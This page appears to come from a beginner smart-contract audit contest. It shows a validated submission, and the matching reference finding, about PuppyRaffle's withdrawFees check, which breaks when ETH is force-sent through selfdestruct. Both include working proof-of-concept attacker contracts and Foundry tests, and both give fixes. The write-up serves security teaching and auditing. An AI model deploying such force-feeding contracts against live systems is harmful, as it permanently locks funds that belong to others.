Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

`selfdestruct` force-feeding breaks `withdrawFees` strict equality check

mathcelo
The `withdrawFees` function (L187-196) guards withdrawal with a strict equality check:
​
```solidity
require(address(this).balance == uint256(totalFees), ...);
```
​
This check can be broken by force-sending ETH to the contract via `selfdestruct`. The EVM credits ETH from a `selfdestruct` operation to the target address without executing any code, bypassing the absence of a `receive()` or `fallback()` function. This increases `address(this).balance` while `totalFees` remains unchanged, causing the equality check to fail permanently.
​
The contract has no emergency withdrawal mechanism or owner override. Once the balance is desynchronized, all accumulated fees are locked forever.
​
### Exploit Scenario
​
1. A raffle round completes normally. `address(this).balance == totalFees`.
2. An attacker deploys `SelfDestructAttacker` with 1 wei and calls `selfdestruct(puppyRaffleAddress)`.
3. The PuppyRaffle contract receives the 1 wei without any code execution.
4. `address(this).balance` is now `totalFees + 1`.
5. `withdrawFees` reverts because `balance != totalFees`. Fees are permanently locked.
​
### Proof of Concept
​
Attacker contract:
​
```solidity
contract SelfDestructAttacker {
address immutable target;
​
constructor(address _target) {
target = _target;
}
​
function attack() external {
selfdestruct(payable(target));
}
}
```
​
Test:
​
```solidity
function test_selfdestructLocksWithdrawFees() public {
// 4 players enter and raffle completes normally
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
​
uint256 expectedFees = (entranceFee * 4 * 20) / 100;
assertEq(uint256(puppyRaffle.totalFees()), expectedFees);
​
// Attacker force-sends 1 ETH via selfdestruct to break
// the strict equality check
SelfDestructAttacker bomb = new SelfDestructAttacker(
address(puppyRaffle)
);
vm.deal(address(bomb), 1 ether);
bomb.attack();
​
// Balance is now higher than totalFees
assert(
address(puppyRaffle).balance >
uint256(puppyRaffle.totalFees())
);
​
// withdrawFees reverts -- fees are permanently locked
vm.expectRevert(
"PuppyRaffle: There are currently players active!"
);
puppyRaffle.withdrawFees();
}
```
​
### Recommendations
​
**Short term:** Replace the strict equality check with an accounting-based approach. Track the active player deposit balance separately and use `>=` or internal accounting instead of comparing against `address(this).balance`:
​
```solidity
require(address(this).balance >= uint256(totalFees), ...);
```
​
**Long term:** Avoid relying on `address(this).balance` for business logic. Maintain internal accounting variables that track ETH inflows and outflows independently of the actual balance.
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!